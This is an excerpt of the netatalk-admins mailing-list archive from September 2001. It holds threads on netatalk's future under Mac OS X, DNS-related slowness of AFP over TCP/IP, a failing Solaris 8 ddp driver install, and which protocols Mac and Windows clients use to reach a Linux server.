Received: from mercury.knight-ridder.com (ns1.knight-ridder.com [206.28.157.68])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA23061
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 10:25:22 -0400 (EDT)
Received: by mercury.knight-ridder.com; id KAA22231; Wed, 5 Sep 2001 10:19:38 -0400 (EDT)
Received: from krcdc.knight-ridder.com(166.108.66.207) by mercury.knight-ridder.com via smap (V5.0)
	id xma021962; Wed, 5 Sep 01 10:18:10 -0400
Received: from vangogh.knight-ridder.com ([166.108.66.204])
 by krcdc (NAVIEG 2.1 bld 76) with SMTP id M2001090510264224389
 for <netatalk-admins@umich.edu>; Wed, 05 Sep 2001 10:26:42 -0400
Received: from bradentonherald.com ([166.108.22.200]) by
          vangogh.knight-ridder.com (Netscape Messaging Server 4.15) with
          ESMTP id GJ713C00.UZG for <netatalk-admins@umich.edu>; Wed, 5
          Sep 2001 10:18:48 -0400 
Message-ID: <3B963558.4080402@bradentonherald.com>
Date: Wed, 05 Sep 2001 10:23:20 -0400
From: "Scot McPherson" <smcpherson@bradentonherald.com>
Organization: Bradenton Herald
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Thank you.
References: <3B928A08.3050206@webprojkt.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Brice D Ruth wrote:
> Hi folks.
> 
> I've been following the netatalk-devel and netatalk-admins list for a 
> while now and been using netatalk even longer.  I know there are still 
> problems that need ironing out - things aren't perfect and all, but I 
> wanted to say thank you for a job very well done.  Ever since starting 
> to work with Mac OS X, I've had problems with my netatalk server ... I 
> finally grabbed 1.5pre7, compiled it and installed it and everything 
> seems to work now.  I'm sure my needs aren't nearly that of some 
> people's, but nevertheless, thank you - you've all done well.  Kudos.
> 
> -Brice Ruth
> 
> 

Speaking of OS X, how is that going to effect the development of 
netatalk. If OSX is unix, I would see much reason for netatalk anymore 
once all the software has been carbonized and the legacy MAC OS's are 
slowly removed from circulation...

Just curious (i am not a MAC user, but a sys ad in a large publication 
environment)



-- 
*************************************
Scot Mc Pherson, Technology Manager
The Bradenton Herald
phone:941-748-0411 x6630
mailto:smcpherson@bradentonherald.com
http://www.bradentonherald.com

"Linux is a journey, not a guided tour," ~Scot Mc Pherson



From netatalk.administrators-errors@umich.edu  Wed Sep  5 10:55:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA25708
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 10:55:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA21411
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 10:55:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21403
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 10:55:38 -0400 (EDT)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA21396
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 10:55:37 -0400 (EDT)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.6/8.11.3) with ESMTP id f85Etaa74890
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 10:55:36 -0400 (EDT)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210106b7bbe9413b9c@[216.155.36.73]>
In-Reply-To: <3B963558.4080402@bradentonherald.com>
References: <3B928A08.3050206@webprojkt.com>
 <3B963558.4080402@bradentonherald.com>
Date: Wed, 5 Sep 2001 10:55:34 -0400
To: netatalk-admins@umich.edu
From: Ryan McBeth <rmcbeth@mobiusnm.com>
Subject: Re: Thank you.
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-RRT-Status: UNKNOWN

Scott,

	IMHO, there *won't* be much use for netatalk after a few 
years.  Not next year, but probably by 2003.  Yes, some schools will 
still be running old Macs and they will run Netatalk, heck, some 
schools are probably still running Apple ][e's.
	Don't forget that OS X isn't like another revision of Mac OS. 
There wasn't really that much change between versions of 8 and 9. 
But the difference between OS 9 and OS X is huge.  I can give you one 
possibility.  All Adobe would have to do is say that the next version 
of Photoshop will only run on OS X, and you are going to see a heck 
of a lot of new hardware being bought.  All that hardware is going to 
come pre-loaded with Mac OS X.

	Netatalk will go the way of Procom or PKzip: Utilities that 
were great for the problem at hand, but were rendered less prominant 
because of changing technology.  Heck, the netatalk developers have 
made my life easier.  The next time one of you is in Philadelphia, 
drop me a line.  I'll buy you a beer.

	Ryan

At 10:23 -0400 05/9/2001, Scot McPherson wrote:
>Brice D Ruth wrote:
>>Hi folks.
>>
>>I've been following the netatalk-devel and netatalk-admins list for 
>>a while now and been using netatalk even longer.  I know there are 
>>still problems that need ironing out - things aren't perfect and 
>>all, but I wanted to say thank you for a job very well done.  Ever 
>>since starting to work with Mac OS X, I've had problems with my 
>>netatalk server ... I finally grabbed 1.5pre7, compiled it and 
>>installed it and everything seems to work now.  I'm sure my needs 
>>aren't nearly that of some people's, but nevertheless, thank you - 
>>you've all done well.  Kudos.
>>
>>-Brice Ruth
>>
>>
>
>Speaking of OS X, how is that going to effect the development of 
>netatalk. If OSX is unix, I would see much reason for netatalk 
>anymore once all the software has been carbonized and the legacy MAC 
>OS's are slowly removed from circulation...
>
>Just curious (i am not a MAC user, but a sys ad in a large 
>publication environment)
>
>
>
>--
>*************************************
>Scot Mc Pherson, Technology Manager
>The Bradenton Herald
>phone:941-748-0411 x6630
>mailto:smcpherson@bradentonherald.com
>http://www.bradentonherald.com
>
>"Linux is a journey, not a guided tour," ~Scot Mc Pherson

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
You can't build a reputation on what you are going to do.
  - Henry Ford

From netatalk.administrators-errors@umich.edu  Wed Sep  5 11:02:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA25864
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 11:02:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA28230
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 11:02:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA28222
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 11:02:39 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA28200
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 11:02:37 -0400 (EDT)
Received: by smtpout.mac.com; Wed, 5 Sep 2001 08:01:11 -0700 (PDT)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GJ731Y00.VT1 for
          <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 08:01:10 -0700 
Received: from localhost ([62.175.33.66]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15 asmtp02 Jun 21 2001 23:53:48)
          with ESMTP id GJ731X00.VWN; Wed, 5 Sep 2001 08:01:09 -0700 
Date: Wed, 5 Sep 2001 00:53:21 +0200
Subject: Re: Slowing down while editing document on the client
Content-Type: text/plain; format=flowed; charset=iso-8859-1
Mime-Version: 1.0 (Apple Message framework v404.1)
Cc: netatalk-admins <netatalk-admins@umich.edu>
To: Palotas Peter <sysman@starkingnet.hu>
From: Jason Quigley <jasonq@mac.com>
In-Reply-To: <20010904103845.15472@mail.starkingnet.hu>
Message-Id: <A3D63658-A187-11D5-B346-000A277D821C@>
X-Mailer: Apple Mail (2.458)
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA25864

Just a couple of quick questions...

You complained about tcp being slow.

o What sort of DNS setup have you got?
o Are these machines connected to the internet?
o How?
o What have you got in your hosts files (macs and server)?


On Tuesday, September 4, 2001, at 12:38 PM, Palotas Peter wrote:

> Anatol,
>
> Currently I don't use noadouble, I only have the notcp options.
>
> Peter
>
>> Anatol Ulrich (anatol.ulrich@text-bild.de):
>
>> Peter,
>>
>>>
>>> The noadouble option my servers appears very-very slow. I tried it
>>> because we use samba as well and PC users confused the .AppleDouble
>>> folders.
>>>
>> don“t use noadouble; hide the .AppleDouble folders in samba with the
>> parameter    veto files
>>
>> -anatol
>>
>>


From netatalk.administrators-errors@umich.edu  Wed Sep  5 12:24:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA00591
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 12:24:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA06965
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 12:24:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA06956
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 12:24:25 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA06916
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 12:24:24 -0400 (EDT)
Received: by smtpout.mac.com; Wed, 5 Sep 2001 09:20:26 -0700 (PDT)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GJ76Q100.RSA for
          <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 09:20:25 -0700 
Received: from [10.0.0.6] ([62.175.33.66]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15 asmtp02 Jun 21 2001 23:53:48)
          with ESMTP id GJ76Q000.4XP; Wed, 5 Sep 2001 09:20:24 -0700 
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Wed, 05 Sep 2001 18:19:30 +0200
Subject: Re: Slowing down while editing document on the client
From: Jason Quigley <jasonq@mac.com>
To: Palotas Peter <sysman@starkingnet.hu>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B7BC1D32.3C0%jasonq@mac.com>
In-Reply-To: <20010905114921.24479@mail.starkingnet.hu>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA00591

Okay, this looks like you are connecting by selecting the server name in the
chooser. The system is trying to do an DNS lookup for the server name/domain
as it will try to see if the server talks ASIP before reverting to ASAT.
Your provider does not have this information, so the DNS request is timing
out. BTW - this is dialing your provider over the ISDN connection.

What you need to do is connect directly via the IP address from the chooser
or set up your own DNS server (pain in the butt) or create entries in your
hosts files on the Macs.

If you connect using the IP address, you can simply save a bookmark for the
server.

I think there is another way of sorting out this problem, but for the moment
it escapes me. Perhaps some helpful soul on the list can remember it.

Cheers,
Jason.

On 9/5/01 1:49 PM, "Palotas Peter" <sysman@starkingnet.hu> wrote:

> Jason,
> 
>> Jason Quigley (jasonq@mac.com):
> 
>> Just a couple of quick questions...
>> 
>> You complained about tcp being slow.
> 
> Yes. We have a LAN which connets to the Internet via Cisco 706 ISDN modem.
> 
>> o What sort of DNS setup have you got?
> 
> We don't have dns server in the LAN. We use our Internet provider's NSs
> if it is needed. These are set in the clients and the server as well.
> 
>> o Are these machines connected to the internet?
>> o How?
> 
> Yes. See below.
> 
>> o What have you got in your hosts files (macs and server)?
> 
> On macs it is empty. I will chech the server and inform you!
> 
> Peter
>> 
>> On Tuesday, September 4, 2001, at 12:38 PM, Palotas Peter wrote:
>> 
>>> Anatol,
>>> 
>>> Currently I don't use noadouble, I only have the notcp options.
>>> 
>>> Peter
>>> 
>>>> Anatol Ulrich (anatol.ulrich@text-bild.de):
>>> 
>>>> Peter,
>>>> 
>>>>> 
>>>>> The noadouble option my servers appears very-very slow. I tried it
>>>>> because we use samba as well and PC users confused the .AppleDouble
>>>>> folders.
>>>>> 
>>>> don“t use noadouble; hide the .AppleDouble folders in samba with the
>>>> parameter    veto files
>>>> 
>>>> -anatol
>>>> 
>>>> 
>> 


From netatalk.administrators-errors@umich.edu  Wed Sep  5 12:26:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA00632
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 12:26:45 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA11597
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 12:26:45 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA11583
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 12:26:44 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA11550
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 12:26:43 -0400 (EDT)
Received: by smtpout.mac.com; Wed, 5 Sep 2001 09:25:09 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GJ76XW00.ITQ for
          <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 09:25:08 -0700 
Received: from [10.0.0.6] ([62.175.33.66]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48)
          with ESMTP id GJ76XV00.0AP for <netatalk-admins@umich.edu>; Wed,
          5 Sep 2001 09:25:07 -0700 
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Wed, 05 Sep 2001 18:25:04 +0200
Subject: Re: Thank you.
From: Jason Quigley <jasonq@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7BC1E80.3DD%jasonq@mac.com>
In-Reply-To: <v04210106b7bbe9413b9c@[216.155.36.73]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

This would be a shame as, IMHO, Appleshare (from a client perspective) is
far superior to anything that *nix has to offer in terms of ease of use,
setup and security. I really like using FreeBSD, so I'm not slamming *nix.

Cheers,
Jason.


On 9/5/01 4:55 PM, "Ryan McBeth" <rmcbeth@mobiusnm.com> wrote:

> Scott,
> 
> IMHO, there *won't* be much use for netatalk after a few
> years.  Not next year, but probably by 2003.  Yes, some schools will
> still be running old Macs and they will run Netatalk, heck, some
> schools are probably still running Apple ][e's.
> Don't forget that OS X isn't like another revision of Mac OS.
> There wasn't really that much change between versions of 8 and 9.
> But the difference between OS 9 and OS X is huge.  I can give you one
> possibility.  All Adobe would have to do is say that the next version
> of Photoshop will only run on OS X, and you are going to see a heck
> of a lot of new hardware being bought.  All that hardware is going to
> come pre-loaded with Mac OS X.
> 
> Netatalk will go the way of Procom or PKzip: Utilities that
> were great for the problem at hand, but were rendered less prominant
> because of changing technology.  Heck, the netatalk developers have
> made my life easier.  The next time one of you is in Philadelphia,
> drop me a line.  I'll buy you a beer.
> 


From netatalk.administrators-errors@umich.edu  Wed Sep  5 12:52:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA01394
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 12:52:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA06965
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 12:52:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA06948
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 12:52:34 -0400 (EDT)
Received: from stiftsbogtrykkeriet.dk ([62.242.11.21])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA06930
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 12:52:33 -0400 (EDT)
Received: from Mikkel (Mikkel [192.168.1.2]) by stiftsbogtrykkeriet.dk
    (Hethmon Brothers Smtpd) id 20010905184445-38427-7 ; Wed, 05 Sep 2001 18:44:46 +0000
Message-ID: <3B96648C.2A93@post5.tele.dk>
Date: Wed, 05 Sep 2001 18:44:44 +0100
From: "Mikkel C. Simonsen" <mcs@post5.tele.dk>
Organization: Dantimax
X-Mailer: Mozilla 3.0 (OS/2; I)
MIME-Version: 1.0
To: Jason Quigley <jasonq@mac.com>
CC: netatalk-admins@umich.edu
Subject: Re: Slowing down while editing document on the client
References: <B7BC1D32.3C0%jasonq@mac.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jason Quigley wrote:
> 
> Okay, this looks like you are connecting by selecting the server name in the
> chooser. The system is trying to do an DNS lookup for the server name/domain
> as it will try to see if the server talks ASIP before reverting to ASAT.

Are you sure about that? I have a test server running (Netatalk 1.5 pre
6 on FreeBSD). It isn't in the hostfile, and its not in the DNS, but the
macs connect to it via TCP/IP when we click on the server in Chooser.

So I guess the IP-address information is sent via Appletalk.

Best regards,

Mikkel C. Simonsen

From netatalk.administrators-errors@umich.edu  Wed Sep  5 13:32:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA02805
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 13:32:22 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA01012
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 13:32:22 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA01010
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 13:32:22 -0400 (EDT)
Received: from mail.thefourseasons.org (216-99-212-196.dsl.aracnet.com [216.99.212.196])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA00990
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 13:32:21 -0400 (EDT)
Received: from aracnet.com (earth.thefourseasons.org [10.16.6.14])
	by mail.thefourseasons.org (8.9.3+Sun/8.9.3) with ESMTP id KAA14433;
	Wed, 5 Sep 2001 10:31:47 -0700 (PDT)
Message-ID: <3B96627A.74219BF8@aracnet.com>
Date: Wed, 05 Sep 2001 10:35:54 -0700
From: Bruce Kropp <kropp@aracnet.com>
Reply-To: kropp@aracnet.com
Organization: Growing Kropp
X-Mailer: Mozilla 4.76 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: CSBURRIS@ci.tacoma.wa.us, sysadmin@theentertainer.net
CC: netatalk-admins@umich.edu
Subject: Re: Solaris 8 ddp driver problem
References: <49A5DC0AF7A9D3119C7D00A0C9E30645032508D0@m4.ci.tacoma.wa.us>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Sure, I saw that two, and so I tried it in 32-bit mode
(using gcc/g++ 2.95 on Solaris 8 01/01).  Both times
it compiled fine (64-bit, and 32-bit modes), but both
times I get the same message when running  make kinstall:

    add_drv -m '* 0666 root sys' ddp
    devfsadm: driver failed to attach: ddp
    Warning: Driver (ddp) successfully added to system but failed to attach

I have these entries in /etc/services:

   rtmp            1/ddp
   nbp             2/ddp
   echo            4/ddp
   zip             6/ddp
   afpovertcp      548/tcp
   afpovertcp      548/udp

and this /etc/netconfig entry:

   ddp tpi_clts - appletalk ddp /dev/ddp -

but I've never seen the device /dev/ddp get
created automatically.  So I hand created one
with my best guess (which could be a bad one):

   /dev/ddp -> /devices/pseudo/ddp@0:ddp

Could you tell me what the device is supposed to
look like (I assume it is in /devices/pseudo/... ),
including major and minor numbers?

-bruce
Bruce Kropp
bruce@mail.thefourseasons.org


CSBURRIS@ci.tacoma.wa.us wrote:
> 
> Well, I've tracked down the problem, but there is no good answer. It is
> actually documented in  ./sys/solaris/Makefile.
> 
> GCC doesn't currently do 64 bit compiles.  64-bit Sun Solaris requires
> 64-bit drivers.  The only way to make it work is to use Sun C, which costs a
> cool $1300.  The only solution is to beg one from some one who has the
> compiler and a similar architecture.
> 
> I politely suggest (again) that a downloadable binary be placed on the
> sourceforge site or on SunFreeware.  I've asked at each place.
> 
> I received one myself, and have asked permission to re-distribute it, but
> have not received it yet.
> 
> > ----------
> > From:         Bruce
> > Sent:         Monday, September 3, 2001 5:50 PM
> > To:   netatalk
> > Subject:      Solaris 8 ddp driver problem
> >
> > I've seen this question posed before, but have not seen an answer.
> > It applies to all these verions:
> >
> > netatalk-1.4.99-0.20001108.tar
> > netatalk-1.5pre6.tar
> > netatalk-971027.tar
> > netatalk-1.4b2+asun2.1.3.tar
> > pre-asun2.1.4-38b_test.tar
> >
> > in ./sys/solaris directory,
> > trying to run "make kinstall" on Solaris 8 (UltraSPARC-1),
> > produces the following error message (same in both 32-bit and 64-bit):
> >
> >    ...
> >    /usr/ucb/install -c ddp.conf /usr/kernel/drv/ddp.conf
> >    add_drv -m '* 0666 root sys' ddp
> >    devfsadm: driver failed to attach: ddp
> >    Warning: Driver (ddp) successfully added to system but failed to
> > attach
> >    sync;sync;sync
> >    ...
> >
> > After setting atalkd.conf with hme0,
> > when atalkd is started, it produces the error message:
> >
> >    can't establish STREAMS plumbing, exiting.
> >
> > /var/adm/messages says this about ioctl(fd,  I_PUSH, "ddp") in
> > ./etc/atalkd/config.c:
> >
> >    Sep  3 16:31:48 mail atalkd[12708]: [ID 174707 user.error] I_PUSH:
> > Invalid argument
> >
> > I had to guess at a device (is this documented? ), using:
> >
> >    mknod /devices/psuedo/ddp@0:ddp c 92 1
> >    ln -s /devices/psuedo/ddp@0:ddp   /dev/ddp
> >
> > Any hints?
> >
> > -bruce
> > Bruce Kropp
> > bruce@mail.thefourseasons.org
> >
> >
> >

From netatalk.administrators-errors@umich.edu  Wed Sep  5 13:50:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA03469
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 13:50:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA25855
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 13:50:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA25853
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 13:50:02 -0400 (EDT)
Received: from jason01.u.washington.edu (jason01.u.washington.edu [140.142.8.10])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA25845
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 13:50:01 -0400 (EDT)
Received: from homer35.u.washington.edu (cent@homer35.u.washington.edu [140.142.16.13])
	by jason01.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f85Ho0w46276
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 10:50:00 -0700
Received: from localhost (cent@localhost)
	by homer35.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f85Hnwb85022
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 10:49:58 -0700
Date: Wed, 5 Sep 2001 10:49:58 -0700 (PDT)
From: Bob Cent <cent@u.washington.edu>
cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: Thank you.
In-Reply-To: <v04210106b7bbe9413b9c@[216.155.36.73]>
Message-ID: <Pine.A41.4.33.0109051040280.44682-100000@homer35.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> there *won't* be much use for netatalk after a few years.
> Not next year, but probably by 2003.  Yes, some schools will
> still be running old Macs and they will run Netatalk, heck,
> some schools are probably still running Apple ][e's.


Please help me keep this all straight (newbie!).  What protocols
are used when one connects to a Linux server with:

OS9  Chooser
OS9  Chooser Server IP
OS10 Connect To Server
Windows Network Neighborhood


_____________________________
Bob Cent
University of Washington
Box 357330
Seattle, WA  98195-7330

mailto: cent@u.washington.edu
voice:  206.543.1433
fax:    206.685.0305
_____________________________


From netatalk.administrators-errors@umich.edu  Wed Sep  5 14:15:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA04522
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 14:15:41 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA04663
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 14:15:41 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04643
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 14:15:40 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA04624
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 14:15:39 -0400 (EDT)
Received: from math.ohio-state.edu (hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.6/8.11.6) with ESMTP id f85IFcj06890;
	Wed, 5 Sep 2001 14:15:38 -0400
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id 0817919DD1B; Wed,  5 Sep 2001 14:15:38 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id 0610BE6B97; Wed,  5 Sep 2001 14:15:38 -0400 (EDT)
Date: Wed, 5 Sep 2001 14:15:38 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
X-X-Sender:  <ccunning@localhost.localdomain>
To: Bob Cent <cent@u.washington.edu>
Cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: Thank you.
In-Reply-To: <Pine.A41.4.33.0109051040280.44682-100000@homer35.u.washington.edu>
Message-ID: <Pine.LNX.4.33.0109051413450.27161-100000@localhost.localdomain>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-RAVMilter-Version: 8.2(snapshot 20010817) (mathserv)


> OS9  Chooser

AFP (Apple File Protocol)

> OS9  Chooser Server IP

AFP/IP (AFP over TCP/IP)

> OS10 Connect To Server

Er... OSX 10.X is AFP/IP
OSX 10.1 will do both AFP and AFP/IP again, and reportedly it will also do
SMB and I heard once upon a time FTP was supposed to work there too...

> Windows Network Neighborhood

SMB (Secure Message Block)

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Wed Sep  5 14:16:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA04585
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 14:16:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA18492
